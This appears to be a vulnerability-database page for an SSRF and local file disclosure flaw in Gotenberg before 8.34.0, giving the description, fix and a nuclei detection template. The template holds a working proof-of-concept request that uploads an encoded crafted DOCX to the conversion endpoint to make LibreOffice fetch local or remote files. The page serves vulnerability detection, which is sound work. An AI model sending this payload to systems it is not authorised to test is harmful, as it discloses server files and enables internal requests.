HexBrain

Browse / CVEs / CVE-2026-55229

CVE-2026-55229· gotenberg / gotenberg· CWE-918

Gotenberg < 8.34.0 - Local File Disclosure

highseverity
7.5CVSS score
1.5%likelihood of exploitation, next 30 days
75%of all CVEs are less likely
Readycheck to confirm it

Gotenberg before 8.34.0 allows SSRF and limited local file disclosure via its /forms/libreoffice/convert endpoint. When LibreOffice is used to convert user-uploaded DOCX files, external relationships within the document (such as a:blip r:link TargetMode="External") can instruct LibreOffice to fetch local resources (file://) or remote resources (http/https), which are then included as images in the generated PDF. This can disclose the contents of local files LibreOffice can open as images, or allow outbound requests to attacker-controlled endpoints. Version 8.34.0 disables resolution of external resources during document conversion to mitigate the vulnerability.

Impact

Attackers can perform blind SSRF and limited local file disclosure, potentially accessing internal resources or sensitive files.

Fix

Update to version 8.34.0 or later.

How to confirm it

Send: POST /forms/libreoffice/convert
Positive when: contains(content_disposition, "attachment; filename=") and contains(content_type, "application/pdf") and contains(body, "/Subtype/Image") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-55229 -u <target>

The full check
id: CVE-2026-55229

info:
  name: Gotenberg < 8.34.0 - Local File Disclosure
  author: str4k3r
  severity: high
  description: |
    Gotenberg before 8.34.0 allows SSRF and limited local file disclosure via its /forms/libreoffice/convert endpoint. When LibreOffice is used to convert user-uploaded DOCX files, external relationships within the document (such as a:blip r:link TargetMode="External") can instruct LibreOffice to fetch local resources (file://) or remote resources (http/https), which are then included as images in the generated PDF. This can disclose the contents of local files LibreOffice can open as images, or allow outbound requests to attacker-controlled endpoints. Version 8.34.0 disables resolution of external resources during document conversion to mitigate the vulnerability.
  impact: |
    Attackers can perform blind SSRF and limited local file disclosure, potentially accessing internal resources or sensitive files.
  remediation: |
    Update to version 8.34.0 or later.
  reference:
    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2mrg-35hw-x3x9
    - https://github.com/gotenberg/gotenberg/releases/tag/v8.34.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55229
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-55229
    epss-score: 0.01514
    epss-percentile: 0.74713
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    product: gotenberg
    vendor: gotenberg
    shodan-query: "Gotenberg"
    fofa-query: "Gotenberg"
  tags: cve,cve2026,gotenberg,ssrf,lfi

http:
  - raw:
      - |
        POST /forms/libreoffice/convert HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=testforgeboundary

        --testforgeboundary
        Content-Disposition: form-data; name="files"; filename="poc.docx"
        Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document

        {{base64_decode("UEsDBBQAAAAIAKKjCF0XmADX6wAAALIBAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbH1QyU4DMQy98xWRr2gmAweEUKc9sByBQ/kAK/HMRM2mOC3t3+NpoQdUONpvs99itQ9e7aiwS7GHm7YDRdEk6+LYw8f6pbkHxRWjRZ8i9XAghtXyarE+ZGIl4sg9TLXmB63ZTBSQ25QpCjKkErDKWEad0WxwJH3bdXfapFgp1qbOHiBmTzTg1lf1vJf96ZJCnkE9nphzWA+Ys3cGq+B6F+2vmOY7ohXlkcOTy3wtBNCXI2bo74Qf4ZuUU5wl9Y6lvmIQmv5MxWqbzDaItP3f58KlaRicobN+dsslGWKW1oNvz0hAF88f6GPlyy9QSwMEFAAAAAgAoqMIXT+t/vqvAAAALAEAAAsAAABfcmVscy8ucmVsc43POw7CMAwA0J1TRN5pWgaEUEMXhNQVlQNEiZtWNB/F4dPbk4EBKgZG/57tunnaid0x0uidgKoogaFTXo/OCLh0p/UOGCXptJy8QwEzEjSHVX3GSaY8Q8MYiGXEkYAhpbDnnNSAVlLhA7pc6X20MuUwGh6kukqDfFOWWx4/DVigrNUCYqsrYN0c8B/c9/2o8OjVzaJLP3YsOrIso8Ek4OGj5vqdLjILPJ/Dv548vABQSwMEFAAAAAgAoq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wECFAMUAAAACACiowhdP63++q8AAAAsAQAACwAAAAAAAAAAAAAAgAEcAQAAX3JlbHMvLnJlbHNQSwECFAMUAAAACACiowhdkp50rMABAABqBAAAEQAAAAAAAAAAAAAAgAH0AQAAd29yZC9kb2N1bWVudC54bWxQSwECFAMUAAAACACiowhd4I232M8AAABNAQAAHAAAAAAAAAAAAAAAgAHjAwAAd29yZC9fcmVscy9kb2N1bWVudC54bWwucmVsc1BLBQYAAAAABAAEAAMBAADsBAAAAAA=")}}
        --testforgeboundary--

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_disposition, "attachment; filename=")'
          - 'contains(content_type, "application/pdf")'
          - 'contains(body, "/Subtype/Image")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from